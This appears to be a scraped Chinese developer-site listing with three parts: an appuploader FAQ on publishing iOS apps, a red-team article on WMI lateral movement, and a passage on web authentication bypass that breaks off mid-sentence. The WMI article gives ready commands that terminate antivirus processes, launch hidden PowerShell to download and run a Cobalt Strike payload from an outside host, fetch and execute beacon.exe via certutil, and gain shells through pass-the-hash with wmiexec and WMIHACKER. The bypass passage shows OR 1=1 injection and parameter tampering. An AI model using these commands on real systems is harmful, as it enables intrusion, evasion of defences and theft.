使用appuploader常见问题汇总使用appuploader常见问题汇总(二) 1.不装虚拟机可以直接在windows系统用appuploader上架iOS app吗? 可以的,使用appuploader可以非常方便的在windows里面上架 2.已经是激活状态了,为什么还提示无权限呢 无权限是指没用开通apple开发者权限,没支付688给apple的账号只能制作测试证书,不能发布上传,不能推送等。刚支付完 的也要等待apple系统开通了提示才会变更,可以去apple官网检查。没激活的话软件会提示没激活,是否激活。 3.就类型选择哪一个,我想上架iOS的 一般选ios Distribution(发布类型),邮箱随便填。 4.没有源码能不能弄,ipa上传报错 编译设置ios版本兼容号,然后重新编译代码 5.完事以后点P12下载后,证书怎么看啊 证书就是p12,p12就是证书 6.这个有效期十年,好像是错的。我也不知道具体原因,但如果我用cmd生成的安卓 证书的话,他使用是没问题的 证书制作出来后可以打开查看他的有效期的 7.用这个软件上传app不能传一样的版本怎么把之前的版本删除掉。我最开始 传的1.0.0审核没通过,在提交就没办法重新传1.0.0了只能更改更高的版本号 用啥软件都不能删已上传版本,构建版本号改下就行了 8.去哪里进配置这个 Xcode或者在apple官网http://developer.apple.com/ 进行配置 9.这个sku是什么 随便自己设置的一个你能识别的字符 10.刚刚买了激活码,请问一下,这个选择那一个呢 开发环境用ios app development 或者appledevelopment类型,发布类型是Apple distribution,没有通用类型。 apple=mac+ios 11.为什么提示文件名称不规范 需要填写名称 12.为什么提示请选择测试设备 点击添加测试,使用数据线用苹果手机连接电脑获取udid 13.这个三个,我应该选那一个呢? 开发环境用ios app development 或者appledevelopment类型, 发布类型是Apple distribution,没有通用类型。 apple=mac+ios 14.这俩有什么区别呢 直接选择create 15.请问uniapp用个推的推送的时候ios需要上传证书,但是我生成的p12一直提示证 书环境错误是什么原因 开发环境用dev类型,发布类型是Apple distribution,没有通用类型 16.这个是什么问题呢?大家有遇到的么?用的是这个工具上传ipa包提示的这个, app套装id是什么呢? 1.app管理网站里面可以看到,就是bundle id。 2.你当前应用的Bundle Identifier 和 开发者账号中的Appid不一致;也就是不一样;把你的这个app的Bundle Identifie 改成和 你开发者账号中的AppID 一样;注意不同的App不要有不同的Appid;这个Appid首先要在开发者账号中进行设置,然后才可以 用;你把App的Bundle Identifier ,设置为开发者账号中的这个Appid就是代表使用了这个Appid。 bundle id不匹配或者对应的app不是上传状态 17.我提交ipa包成功了,但是在app里面没找到构建版本,这是哪里问题呢,上传ipa成功了,构建版本为什么是空的呢 有延迟,等个10分钟左右就差不多。去账号邮箱查看。 18.Invalid App Store Icon - The App Store Icon in the asset catalog in 'HBuilder.app' can't be transparent nor contain an alpha channel. (应用商店图标无效-HBuilder中资产目录中的应用商店图标。应用程序“不能是透明 的,也不能包含alpha通道。) 图标不能透明,也不是,图标边边角角不透明就行了 19.没有提交审核之前 图标不显示? 图标要上传啊,不上传哪来图标,图标你在app信息下面选择一个版本保存就显 示了,我这个刚才就是这么设置的,可以显示了现在,不是在app信息里面,在 箭头那个位置。 20.我每次上传都失败怎么回事啊 工具版本号多少,这个是网络问题导致的,新版本可以试试通道2(通道2不支持中文和特殊字符文件路径),老版本的话 你就换个网络,例如手机热点wifi试试。 21.用的手机流量,不上传的时候网络就是正常的,每次上传一半我的网络就掉线了 试试上传通道2,如果不行你就要检查电脑是不是有软件把端口给占了,那可能 你网络有软件有问题,例如杀毒软件或者其他工具 22.我不上传的时候做什么都没有问题呀,通道2上传显示空白。 等待一会看看,很有可能是你的系统权限和杀毒软件的问题,建议关闭了杀毒之 类的,双击下runtime下的exe,设置允许运行 23.构架版本 怎么弄呢,咋也没有选的啊 应该是苹果自动检测你提交的ipa包有问题,你看下apple邮箱里面给的提示 24.NSUserTrackingUsageDescription,这个问题咋解决呢? 隐私政策里面,加以说明 25.uniapp 打包这需要描述文件? 你这是推送描述文件吗,推送怎么可能有描述文件 26.ios打包的正式包能做分发吗?怎么做?不能直接分发一个包是吗 ?只能 通过商店下载? 能,提交appstore,是 27.请问开通开发者账号出现这种情况是什么原因,人脸识别后就出现这样 联系团队,这个问题应该是之前有注册过,申请过,然后人脸人脸卡住了,没过 28.这算正常上传吗,这个一点击 就是上传到商店了吗 正在上传,可能是网络比较卡,是的 29.这个是版本不兼容吗? 这个是你账号有问题,登录apple官网检测账号,登录apple官网检测账号 30.那些隐私什么在哪配置,window系统的 apple官网 31.想问一下,上传的app。是需要到苹果官网,点提交审核后,才开始审核流 程吧? 是的 32.我在创建bundle id的时候,明明没有前缀,创建app的时候会出现前缀 可以变更套装id的,用appuploader创建id的话一般是不会有前缀, 。去apple开发者中心新建或者修改,或者你干脆先删除了,然后再创建一次。 33.IOS包提示上传成功,但是在app Store里面找不到这个版本的包咋办 看apple邮箱 34.这个能生成p12证书吗 要用开发环境,开发自己安装测试不需要688,仅供开发使用,勿用于其他地方。 35.我账号付了688,之前的证书过期了,怎么生成新的 和之前一样的生成方式,登录工具直接就可以制作生成。 36.这个是什么问题,才12个,创建不了,只能创建测试,错误提示;你当前已经有一 个发布证书或者挂起的证书要求了 证书只要一个就可以开发无数个app的,不需要每个app制作证书。你已经制作了太多证书,删了啊,上架后证书就没关联了 37.profile文件与私钥证书文件不匹配是怎么回事? 制作描述文件的时候勾选所有证书 38.只用来制作hbuilder自定义基座 这个是多久有效期呀 没给apple688的是7天 39.我是Windows系统的,没有xcode,包我是用uniapp那个打包的,上传完 IPA后,没有显示,第二张图是邮件提示 在用Hbild打包的时候检查或者重新配置以下内容 1.bundle id: com.zhukaoplus.ops 要和profile 文件相符合,要一致 2.发布App store 的时候要选择发布证书:appstore, 不是develop证书; 3.重新打包试一下 40.下图报错怎么解决,错误提示内容:无法开始交付:所有重新启动失败的诊断。 1.网络错误,可以换通道2试试,或者换个网络试试 2.不知道你能不能直接打开Google如果不能可以尝试用梯子试试 41.Win11打不开软件是啥情况 打不开软件可以下载兼容版本, https://net-appuploader.oss-cn-qingdao.aliyuncs.com/appuploader_wi n_0608.zip。可以在帮助中心下载老的兼容版本,最新版本部分系统无法打开,证书帮助链接: 42.bundle ID 是怎么获取的? 添加bunldle id:三段式格式、如app名称是淘宝,可以编写为com.app.taobao,自由编写!不能重复!具有唯一性@ 43.这个是怎么回事? 点击证书进去看看,如果开通了,重新登录应该就可以了 44.如果在a账号购买年费。b账号要上传包,这个可以么? 不可以 45.ios上架app 能接入微信支付和支付宝支付吗? 能啊,但是仅限于商城商店卖产品类的,虚拟商品类加其他支付的影响审核 46.这个是只能安装开发版本吗?为啥不能安装正式版本,已经买了一年的会员也不行吗 是的,正式版本就是发布版本就是上架appstore的版本,开发安装测试的叫开发版本 47.是不是买了100多的appuploader 就不用买688的苹果开发者账号了? appuploader是免费体验7天功能无限制,自己下载体验,上传appstore,制作 带推送功能的证书,描述,都需要支付688给apple后才能使用。免费的账号, 只能制作7天免费的app。登录账号界面勾选未支付 688可以开发软件,但是 不能上传。 48.免费7天那个可以给别人手机下载 不能 49.你们这个工具上传,可以上传ios app发布吗 可以的,点击上传ipa 50.开发个ios,不花钱就不能真机调试了? 可以的,使用appuploader可以使用免费apple账号制作开发证书,进行真机调试测试 51.请问生成可以在手机运行的证书我要选哪个?我只想用手机调试,不要钱的那种? 在appuploader里面选择开发类型证书,也就是development类型的证书 52.证书是苹果的还是你们的? 苹果的,Appuploader工具简化各种操作,是一个开发辅助工具,不能无众生于。 53.这个Apple Account登啥啊,登apple id不对啊 AppleID一般是,注册地址 appleid.apple.com 54.请问一下续费后,只需要弄个苹果证书和描述文件,bundle id都是可以不用改吗? 是的,描述文件要重新制作,bundle id不用改。 55.这个激活码是啥,上次就登录了一下,还没开始使用,提示我过期了? 免费试用七天,过了试用期可以在线扫描购买:http://www.applicationloader.net/purchase.html ,查询激活码链接:http://www.applicationloader.net/query.html。 56.错误提示:缺少推送通知权利- 您的应用似乎注册了 Apple 推送通知服务,但应 用签名的权利不包括“aps-environment”权利,怎么解决? 1、打包模块那=设置已经取消了“推送(消息)” 2、证书那里已经添加了推送通知 要么有推,要么都没有推,开发工具里面的设置要和apple官网后台的设置保持一致。修改后要删除原来的描述文件重新制作 下载 57.您的 App 包含 NSUserTrackingUsageDescription,这表示它可能会请求追踪 用户。要提交以供审核,请更新您的 App 隐私答复以注明从此 App 中收集的数据将 用于追踪目的,或者更新您的 App 二进制文件并上传新的构建版本 方法:隐私设置中,数据类型需要勾选“用于追踪目的”,提示才会消失,一般把锅丢给广告,说广告商要追踪。 58.问ios驱动要下载的么,我这获取不到,手机已经连上了 要 59.刚那个弄好了 我这个体验账号 描述文件是不能选择是否推送的选项么 有两种解决方案,一种是删除Push功能,即在HBuilder的manifest.json文件“模块权限”->“模块设置”中配置删除“Push(消息推送)”模块; 另一种是更新profile文件,操作方法如下: 确保使用的App IDs打开“Push Notifications”服务 登录苹果开发者网站,输入开发者账号、密码并登录 左侧选择“Certificates, IDs & Profiles”,打开iOS证书管理界面 左侧“Identifiers”栏下选择“App IDs”,打开应用ID管理界面 在右侧ID管理列表中选择需要使用的应用标识 点击“Edit”按钮,在打开的服务列表中选中“Push Notifications”服务,点击“Done”保存。 60.错误提示内容:此资源仅适用于开发人员计划中的开发人员或开发人员程序中的 组织团队成员。 有可能是账号被禁止了,或者开发者权限还没开通 申请苹果个人开发者账号后每年都需要交99美元的。 个人开发者账号(苹果公司会收取年费) 只有一个开发者,一个账号仅可申请100台设备。 如果使用一年第二年不交费了,那么应用是会被撤架的。 61.other怎么解决 other 基本就是f封号。给的答复就是审查账号,暂时不能提交APP,耐心等待就行了 62.打包好了 怎么下载到手机上啊 1.用的生产还是测试证书,测试的话可以appuploader安装(描述文件里面要保安设备udid),生产证书上架到app store,才 能通过appstore安装 63.选择完之后也是空白,怎么解决 iCloud和驱动没安装好,或者是连接手机的时候弹出信任框被你拒绝了,重启手机重新连接试试 64.我买了一个激活码,但是生成的描述文件还是7天过期?意思是我必须得每7天要生成一次吗 没有付费688给苹果那边的账号都是7天有效,,要使用的时候重新生成就行了 65.审核被拒 收到的拒绝原因,就是审查账户,等了小20天,才可以继续提交APP审核(我是填写了那个付费协议,然后就被审查了) 66.支付宝授权登录 android 和 ios 授权登录插件 https://ide.dcloud.net.cn/build/errorLog/50744a00-0260-11ed-bef1-71ce148e2604,,打包自定义基座报错,帮忙看下什么问题 现在真机上面安装iOS App 需要证书;也就是你要先自定义基座;然后打进包里 注意:bundle id 要和你HBuild的app id 相匹 配或者包含 67.js局部变量如何给全局变量赋值? 1.一般不是都可以直接赋值给全局变量,或者将这个局部变量作为包含此局部变量的函数的返回值,然后再将这个函数赋值给 那个全局变量就行了,记住函数后面一定要加括号 2.uniapp的全局变量不是设在函数外面的.. 3.可以尝试在data里面设个页面级全局变量 data(){ return { http:'', } } methods: { function configure(){ let That = this; ................ That.http = require_http; } } 68.报错提示内容:Hello, Thank you for submitting your app for...你好,感谢您提 交您的应用进行审核。我们需要额外的时间来评估您的提交和苹果开发者计划帐户。在我们调查期间,您的提交状态将在App Store Connect中显示为“已拒绝”。但是,我们现在不需要您提供修改后的二进制文件或其他信息。如果我们注意到任何需要您 注意的问题,我们会通过App Store Connect通知您。如果我们发现您的提交或帐户没有问题,提交将被批准。如果您在收到此 消息后的7个工作日内没有收到我们的回复,并且想要查询我们的审核状态,您可以通过Apple开发者联系我们页面提交请求。最 诚挚的问候,应用商店评论 提交状态显示 已拒绝 的原因: 你提交的App可能存在一些问题,或者你的开发者账号可能存在一些问题。 所以苹果审核人员需要更多的时间来审核 解决方法: 等待一段时间 你最近多看下你的App审核状态;如果你的App有问题会通过App Store Connect通知你,然后你根据它给你提的整改意见进行修 改就好; 如果没有问题你的App会直接上架的哈 ,问题不大哈 69.苹果app审核拒绝,提示内容: 指南 5.1.1 - 法律 - 隐私 - 数据收集和存储 我们注意到您的应用要求用户注册或登录才能访问不基于账户的功能。 具体来说,请不要强迫用户登录浏览视频课程。 下一步 要解决此问题,请修改您的应用程序,让用户可以自由访问您的应用程序的非基于账户的功能。 资源 请参阅 指南 5.1.1(V) - 账户登录以详细的了解我们对具有基于账户的内容和功能的应用程序的要求。 ,应该怎么解决呢?我的app是点击课程里面的章节,判断如果没登录,跳转至登录页,这难道也有问题么? 所以苹果已经说明得很清楚了,需要可以不登陆也可以访问到课程页面。 想要解决可以提供一个比如说免登的游客账户功能。 如果觉得麻烦也可以和审核团队说明需要注册的具体原因,比如说付费内容之类的,再重新提交看看是否能再次审核通过。 不过多半会继续以 3.1.1 的条款继续驳回你。 70.开启消息推送需要证书,这证书去哪里获取?错误提示内容:图片内容: Apple 推送证书通知服务SSL证书 要为Apple ID 配置推送通知,需要允许通知服务器连接Apple推送通知服务的客户端SSL证书,每个App ID都需要自己的客户 端SSL证书。在下方管理和生成您的证书 开发SSL证书 创建用于App ID的附加证书 创建证书 生产SSL证书 创建用于App ID的附加证书。 创建证书 这个SSL证书是你服务器需要的,你申请成功以后给你的后端开发人员就行。一般是需要申请 开发 和 生产两个环境的证书; 你安装上面步骤创建就好 setting_up_a_remote_notification_server setting_up_a_remote_notification_server/establishing_a_certificate-based_connection_to_apns establishing_a_token-based_connection_to_apns iOS客户端创建推送证书: https://docs.jiguang.cn/jpush/client/iOS/ios_cer_guide 71.这个是咋回事 你增加的多了,等待审核通过就好了 72.这个激活码是在哪里 自动免费7天试用,点击获取激活码购买 73.十个设备不用审核,我的超过十个了,那十个设备后只能等审核了吗,怎么删除 删不了设备,只能等审核了 74..在哪里勾选只选择ipone,不选iPad,现在要上传iPad的截图 apple 应用管理中心 75.苹果上架是必须源码上架吗,还是说可以直接把包挂上去 有包就行 76.问一下假如7天试用过期了,这些证书也会过期吗 证书是按证书的过期时间算,工具是按工具的时间算,俩个之间是独立的 77.没有购买苹果开发账号,激活这款软件测试证书有效期可以达到多久 账号里面是多久就是多久,软件只是管理工具,不会影响有效期 78.请问我用appuploader上传的ipa 他说我二进制文件无效是怎么回事呢 去看apple开发者账号邮箱,根据提示修改重新提交 79.如果我重新上传一版必须要改版本号吗 要 80.是我用appuploader 转的二进制文件有问题吗,这个改怎么解决呢,是重新打个包上传吗 是,修改编译打包号,重新上传 81.我支付一年的激活,咋出现这个问题了 关闭重新登录 82.这是什么原因 试试通道2看看 83.P是什么意思?未启用吗 p apple处理中 上一篇appuploader和xcode打包导出ipa
问答
JavaScript  ·  Linux  ·  网络安全  ·  开发工具  ·  数据安全/隐私保护  ·  Android开发  ·  虚拟化  ·  iOS开发  ·  开发者  ·  Windows
2023-02-28
【内网安全-横向移动】WMI-WMIC命令&相关内网工具
一、WMI1、简述: 1)官方介绍:WMI 具有管理员和 WMI 提供程序编写器使用的多个命令行工具WMI 命令行工具 - Win32 apps | Microsoft Learnhttps://learn.microsoft.com/zh-cn/windows/win32/wmisdk/wmi-command-line-tools2)优点:内网中大多数 Win系统自带 wmic 命令,并且该方法不会在目标日志系统留下痕迹,支持用户名明文或者hash的方式进行认证3)条件:目标主机开放 135 端口(建立连接);且允许随机一个高位端口进行数据通信;需要本地管理员或域管理员权限;部分命令可能不可用(如查询杀软);防火墙开放连接、通信端口4)不足:系统自带的 WMIC ,连接执行命令无回显--->将执行的返回结果写入文件--->读取文件内容5)WMIC管理命令:(命令来自网络)1、常用命令: wmic logon list brief #登录⽤户 wmic ntdomain list brief #域控机器 wmic useraccount list brief #⽤户列表 wmic share get name,path #查看系统共享 wmic service list brief |more #服务列表 wmic startup list full #识别开机启动的程序,包括路径 wmic fsdir "c:\\test" call delete #删除C盘下的test目录 wmic nteventlog get path,filename,writeable #查看系统中开启的⽇志 wmic nicconfig get ipaddress,macaddress #查看系统中⽹卡的IP地址和MAC地址 wmic qfe get description,installedOn #使⽤wmic识别安装到系统中的补丁情况 wmic product get name,version #查看系统中安装的软件及版本 wmic useraccount where "name='%UserName%'" call rename newUserName #更改当前用户名 wmic useraccount where "name='Administrator'" call Rename admin #更改指定用户名 wmic bios list full | findstr /i "vmware" #查看当前系统是否是VMWARE(按实际情况进行筛选) wmic desktop get screensaversecure,screensavertimeout #查看当前系统是否有屏保,及延迟 wmic process where name="vmtoolsd.exe" get executablepath #获取指定进程可执行文件的路径 wmic environment where "name='temp'" get UserName,VariableValue #获取temp环境变量 2、查询当前主机的杀毒软件(可能无法正常使用) wmic process where "name like '%forti%'" get name wmic process where name="FortiTray.exe" call terminate wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState,pathToSignedProductExe wmic /namespace:\\root\securitycenter2 path antispywareproduct GET displayName,productState, pathToSignedProductExe & wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List 3、查询windows机器版本和服务位数和.net版本 wmic os get caption wmic os get osarchitecture wmic OS get Caption,CSDVersion,OSArchitecture,Version wmic product where "Name like 'Microsoft .Net%'" get Name, Version 4、查询本机所有盘符 wmic logicaldisk list brief wmic logicaldisk get description,name,size,freespace /value 5、卸载和重新安装程序 wmic product where "name like '%Office%'" get name wmic product where name="Office" call uninstall 6、查看某个进程的详细信息 (路径,命令⾏参数等) wmic process where name="chrome.exe" list full wmic process where name="frp.exe" get executablepath,name,ProcessId 进程路径 wmic process where caption="frp.exe" get caption,commandline /value 7、更改PATH环境变量值,新增c:\whoami wmic environment where "name='path' and username='<system>'" set VariableValue="%path%;c:\whoami 8、查看某个进程的详细信息-PID wmic process list brief tasklist /SVC | findstr frp.exe wmic process where ProcessId=3604 get ParentProcessId,commandline,processid,executablepath,name,CreationClassName,CreationDate 9、终⽌⼀个进程 wmic process where name ="xshell.exe" call terminate ntsd -c q -p 进程的PID taskkill -im pid 10、获取电脑产品编号和型号信息 wmic baseboard get Product,SerialNumber wmic bios get serialnumber 11、安装软件 wmic product get name,version wmic product list brief 12、使用Powershell操作wmi Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Share #共享 Get-WmiObject -Namespace ROOT\CIMV2 -Class CIM_DataFile #⽂件/⽬录列表 Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Volume #磁盘卷列表 Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Process #当前进程 Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Service #列举服务 Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_NtLogEvent #⽇志 Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_LoggedOnUser #登陆账户 Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_QuickFixEngineering #补丁 Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct #杀毒软件 13、操作系统相关信息 Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_OperatingSystem Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_ComputerSystem Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_BIOS 14、注册表操作 Get-WmiObject -Namespace ROOT\DEFAULT -Class StdRegProv Push-Location HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run Get-ItemProperty OptionalComponents6)相关工具:wmiexec.py:impacket/wmiexec.py at master · fortra/impacket (github.com)https://github.com/fortra/impacket/blob/master/examples/wmiexec.py(impacket 工具包里)提供了通过 wmi 执行命令并回显的功能(445、135 和高位随机端口;445端口是SMB连接,完成执行命令的回显),未开放也支持无回显的方式进行命令执行注:特殊字符用\转移,如@--->\@ 1、连接 python3 wmiexec.py 用户名:密码\@目标IP python3 wmiexec.py 域名/用户名:密码\@目标IP 2、执行命令 python3 wmiexec.py 域名/用户名:密码\@目标IP "命令" 3、哈希传递获得shell python3 wmiexec.py -hashes LM-Hash:NT-Hash 域名/用户名\@目标IP 4、获得shell后,执行命令 python3 wmiexec.py -hashes LM-Hash:NT-Hash 域名/用户名\@目标IP "命令"Windows操作系统中的密码一般由两部分组成,一部分为LM Hash,另一部分为NTLM Hash即:username:RID:LM-HASH:NT-HASH——————wmicmd:1、简述:一个仅使用WMI的小型实用程序:执行命令shell命令、从这些命令中捕获标准输出并写入注册表、读取然后从注册表中删除、打印到本地标准输出(需要.NET相应版本)2、项目地址:nccgroup/WMIcmd: A command shell wrapper using only WMI for Microsoft Windows (github.com)https://github.com/nccgroup/WMIcmd(使用方法项目地址里有)——————WMIHACKER:1、简述:将执行结果写入到注册表(方法:使用事件触发器调用 VB 代码,达到命令执行效果)2、区别:(都是写入注册表)wmiexe.py 和 wmicmd 是通过创建win32Process 进程执行命令3、项目地址:rootclay/WMIHACKER: A Bypass Anti-virus Software Lateral Movement Command Execution Tool (github.com)https://github.com/rootclay/WMIHACKER——————Ladon插件(集成):项目地址:Releases · k8gege/Ladon (github.com)https://github.com/k8gege/Ladon/releases功能如下:1、网络资产收集 多协议探测存活主机 仅ICMP探测存活(快) Oxid多网卡主机探测 多协议操作系统探测 网站、标题、Banner 智能网站CMS识别 常见端口服务探测 Shiro探测 Cisco探测 LDAP服务器探测 FTP服务器探测 枚举MSSQL服务器 枚举共享资源 2、系统信息探测 SMB探测系统信息 WMI探测系统信息 NBT探测系统信息 RDP探测系统信息 SNMP探测系统信息 MSSQL探测系统信息 WINRM探测系统信息 Exchange探测系统信息 3、远程漏洞检测 SMB永恒之蓝检测 SMB永恒之黑检测 Struts2漏洞检测 Weblogic漏洞检测 PhpStudy后门检测 ActiveMQ漏洞检测 Tomcat漏洞检测 4、一键GetShell Exchange CVE-2020-0688 Weblogic GetShell Tomcat GetShell 5、网络密码嗅探 FTP密码嗅探 HTTP密码嗅探 6、网络密码审计 445端口SMB密码审计(Windows) 135端口WMI密码审计(Windows) 445端口SMB-HASH密码审计(Windows) 135端口WMI-HASH密码审计(Windows) 139端口NBT密码审计(Windows) 5985端口Winrm密码审计(Windows) 21端口FTP密码审计(多平台) 5900端口VNC密码审计(多平台) 389端口LDAP密码审计(Windows) 1521端口Oracle数据库密码审计(多平台) 1433端口SQL数据库密码审计(Windows) 3306端口MYSQL数据库密码审计(多平台) 7001端口Weblogic后台密码审计(多平台) Web端口Tomcat后台密码审计(多平台) Web端口401基础认证密码审计(多平台) 22端口SSH密码审计(Linux_多平台) 网络摄像头密码审计(401认证) 7、本机执行 sc服务执行(system权限) at计划任务(system权限) Runas(模拟用户执行) RunPS(无powershell执行) ForExec(循环执行命令) 8、远程执行 WinrmExec SshExec SmbExec PsExec AtExec WmiExec WmiExec2 WinrmExec JspShell AspShell AspxShell PhpShell 9、本地提权 BypassUac eventvwr fodhelper computerdefaults sdclt slui BypassUac2 GetSystem Runas ms16135 BadPotato SweetPotato RDPHijack CVE-2021-1675 10、自启动 注册表自启动 服务启动项 11、3389远程桌面 一键开启3389 查看3389远程连接 查看管理员组用户 激活Administrator 激活用户Guest 远程桌面会话劫持 12、远程下载 Http文件下载 FTP文件下载 13、域(DC、LDAP) 域内机器信息获取(域内) 389端口LDAP服务器探测 389端口LDAP密码审计 CVE-2020-1472域控提权 14、后门/木马查看 注册表启动项 系统却持DLL 15、域名解析 Domain2IP Host2IP 16、端口转发 netsh(系统自带) PortTran 17、本机信息收集 查看本机IP(内外网) 当前用户、特权信息 GUID、CPUID、DiskID 基础信息(仅cmd获取) 基础信息(含wmi获取) 获取命令行参数 获取进程详细信息 查看IE代理信息 查看本机命名管道 查看3389远程连接 查看USB使用记录 查看管理员组用户 查看最近访问文件 查看安装.NET版本 查看PowerShell版本 查看已安装程序版本 18、本机密码读取 IIS站点密码 CVE-2021-36934 DumpLsass 19、MSF/NC联动 Shell_bind_tcp Shell_reverse_tcp Met_reverse_http Met_reverse_https Shell_reverse_icmp Shell_reverse_dns 20、其它功能 网站HTML源码查看 2、上线:1、wmic1)方法一:Attacks--->Web Drive-by--->Scripted Web Delivery(脚本式网页递送)进行相关的配置(与后面上线cs命令,紧密贴合)设置监听器、以及Type为powershell在客户机上执行wmic命令wmic /NODE:192.168.*.*(目标主机) /user:"用户" /password:"密码" PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://*.*.*.*:port/a'))\""上线cs成功 ——————2)方法二:Attacks--->Packages--->payload generator(有效载荷发生器)选中监听器--->载荷选Powershell客户机上执行wmic命令(指定机器上线CS)wmic /NODE:192.168.*.* /user:"用户" /password:"密码" PROCESS call create "powershell -nop -exec bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://*.*.*.*:port/payload.ps1');\""2、impacket-wmiexec1)执行命令交互式&单执行wmiexec ./administrator:密码@192.168.*.*(目标主机) "whoami"wmiexec -hashes :值 ./administrator@192.168.*.*(目标主机) "whoami"——————2)下载后门wmiexec ./administrator:密码@192.168.*.*(目标主机) "cmd.exe /c certutil -urlcache -split -f http://192.168.*.*/beacon.exe c:/beacon.exe"——————3)执行后门wmiexec ./administrator:密码@192.168.*.*(目标主机) "cmd.exe /c c:/beacon.exe"3、wmicmd.exe(需要.NET环境)1)在工作组上使用WMIcmd.exe -h IP -d hostname -u localadmin -p theirpassword -c "command"2)在域内使用WMIcmd.exe -h IP -d domain -u domainadmin -p theirpassword -c "command"4、WMIHACKER使用方法来自GitHubrootclay/WMIHACKER:绕过防病毒软件横向移动命令执行工具 (github.com)https://github.com/rootclay/WMIHACKER1、命令执行后显示结果 cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo" 1 2、命令执行后不显示任何结果 cscript WMIHACKER_0.6.vbs /cmd 172.16.94.187 administrator "Password!" "systeminfo > c:\1.txt" 0 3、获取交互式shell cscript WMIHACKER_0.6.vbs /shell 172.16.94.187 administrator "Password!" 4、文件上传:将本地calc.exe复制到远程主机c:\calc.exe cscript wmihacker_0.6.vbs /upload 172.16.94.187 administrator "Password!" "c:\windows\system32\calc.exe" "c:\calc" 5、文件下载:将远程主机calc.exe下载到本地c:\calc.exe cscript wmihacker_0.6.vbs /download 172.16.94.187 administrator "Password!" "c:\calc" "c:\windows\system32\calc.exe"
文章
安全  ·  Shell  ·  网络安全  ·  数据安全/隐私保护  ·  Windows
2023-02-12
新建 Microsoft Word 文档(下)
身份验证绕过暴力登录可能是一项繁琐且流程密集的任务,尤其是在测试硬件资源有限的情况下。绕过登录页面是一种可以提供即时访问的方法,无需付出额外的努力来尝试找出有效的用户名/密码组合。身份验证绕过攻击有多种方式:强制浏览SQL注入参数修改会话ID预测Web应用程序登录通常使用HTML登录表单页和会话令牌进行验证,会话令牌由服务器进行验证,该令牌可用于访问网站的其他内容。如果在访问受限页面时未显示有效令牌,则应提示用户进行身份验证。但是,如果Web应用程序仅在登录页上强制访问控制,而在站点上没有其他地方强制访问控制,则在未首先进行身份验证的情况下成功访问网站上的页面时,可以绕过身份验证模式。这种攻击方法称为强制浏览。在渗透式测试期间,您可以通过尝试访问受保护的页面来演示这种类型的攻击,以查看是否提示您进行身份验证或是否能够看到受限制的内容。SQL注入是另一种方法,恶意用户可以使用OR 1=1创建True语句,并将其传递到HTML表单页的用户名或密码字段中。如果应用程序没有清理用户提供的输入,则数据库可以读取该语句,并允许在没有登录所需的正确用户名或密码的情况下继续进行身份验证。注意:如果Web应用程序或数据库未进行验证,使用OR 1=1之类的True语句进行SQL注入可能会导致不好的结果。给定以下SQL语句:SELECT UserName,Password FROM Users WHERE ID =100 OR 1=1;SQL是有效的,将返回"Users"表中的每一行,因为OR 1=1始终为TRUE。攻击者只需在输入字段中插入100 OR 1=1,即可从数据库中访问每个凭据。参数修改是一种攻击方法,它利用Web应用程序的身份验证设计缺陷,根据固定参数验证成功登录。给定示例参数authenticated=no,该参数将通过对网站的HTTP GET请求进行检索,在进行身份验证之前,用户将无法从网站访问受限制的内容。要测试并查看是否可以修改参数,可以将原始参数更改为authenticated=yes,然后尝试访问页面上的受限内容。如果成功,该网页容易受到参数修改的影响。取消隐藏Web浏览器中的隐藏表单字段是绕过Web服务器上的访问控制的另一种方法。如果表单字段标记为隐藏,则不会在浏览器中呈现内容,例如网页上的管理功能。给定一个名为is Admin=0的隐藏字段,用户不会将Web应用程序标识为该应用程序的有效"Admin"。但是,如果您将字段修改为is Admin=1,并为页面发送另一个HTTP GET请求,而Web服务器未验证更改,则可能会允许显示页面内容,从而将您标识为应用程序的有效"管理员",而无需先正确验证访问权限。您可以使用Burp来利用这种类型的攻击,或者利用您最喜欢的Web浏览器(如Firefox、Chrome等)中可用的开发人员工具。可预测的会话令牌大多数Web框架设计为使用session token /cookie身份验证。基于会话的身份验证是有状态的,因此服务器和客户端都保留会话的记录。每次用户请求访问数据时,会话数据都会在查询中提交,并由服务器验证。Set-Cookie标头(例如:Set-Cookie: sessionID=ksirut8jsl219485a1f459f2siper5)包含在服务器对客户端的响应中,Cookie值存储在客户端的浏览器中。设置Cookie响应标头可以附带其他属性,以通知客户端浏览器如何处理Cookie,包括lHTTPOnly,这意味着无法通过JavaScript访问cookie,例如通过跨站点脚本(XSS)攻击窃取cookie。路径,用于定义cookie有效的URL。域,定义cookie有效的域(例如,example.com)。Expires,告诉浏览器在本地保存cookie以进行持久存储,并且浏览器将在到期日之前将其用于将来的请求。如果未设置,cookie仅在浏览器会话的生命周期内有效。安全,用于确保cookie永远不会通过非加密连接(如HTTP)传输。当恶意用户嗅探网络时,这有助于防止凭据被盗。当客户端向服务器发出后续请求时,cookie值将伴随每个请求。在某些情况下,渗透式测试可能需要对cookie进行反向工程,以确定cookie是如何生成或保护的。一些Web框架可能会对cookie进行签名或编码(即base64编码值),以混淆cookie并防止在传输过程中进行篡改。在第4章中,我们讨论了随机会话令牌的必要性,以帮助防止劫持合法会话。在开发人员使用自己的会话ID的情况下,如果没有将随机性和复杂性充分应用到等式中,则可以操纵cookie值来识别有效会话,这意味着应用程序可能容易受到暴力攻击。现在,让我们演示这种类型的攻击,以操纵cookie值从服务器窃取合法会话。我将使用OWASP 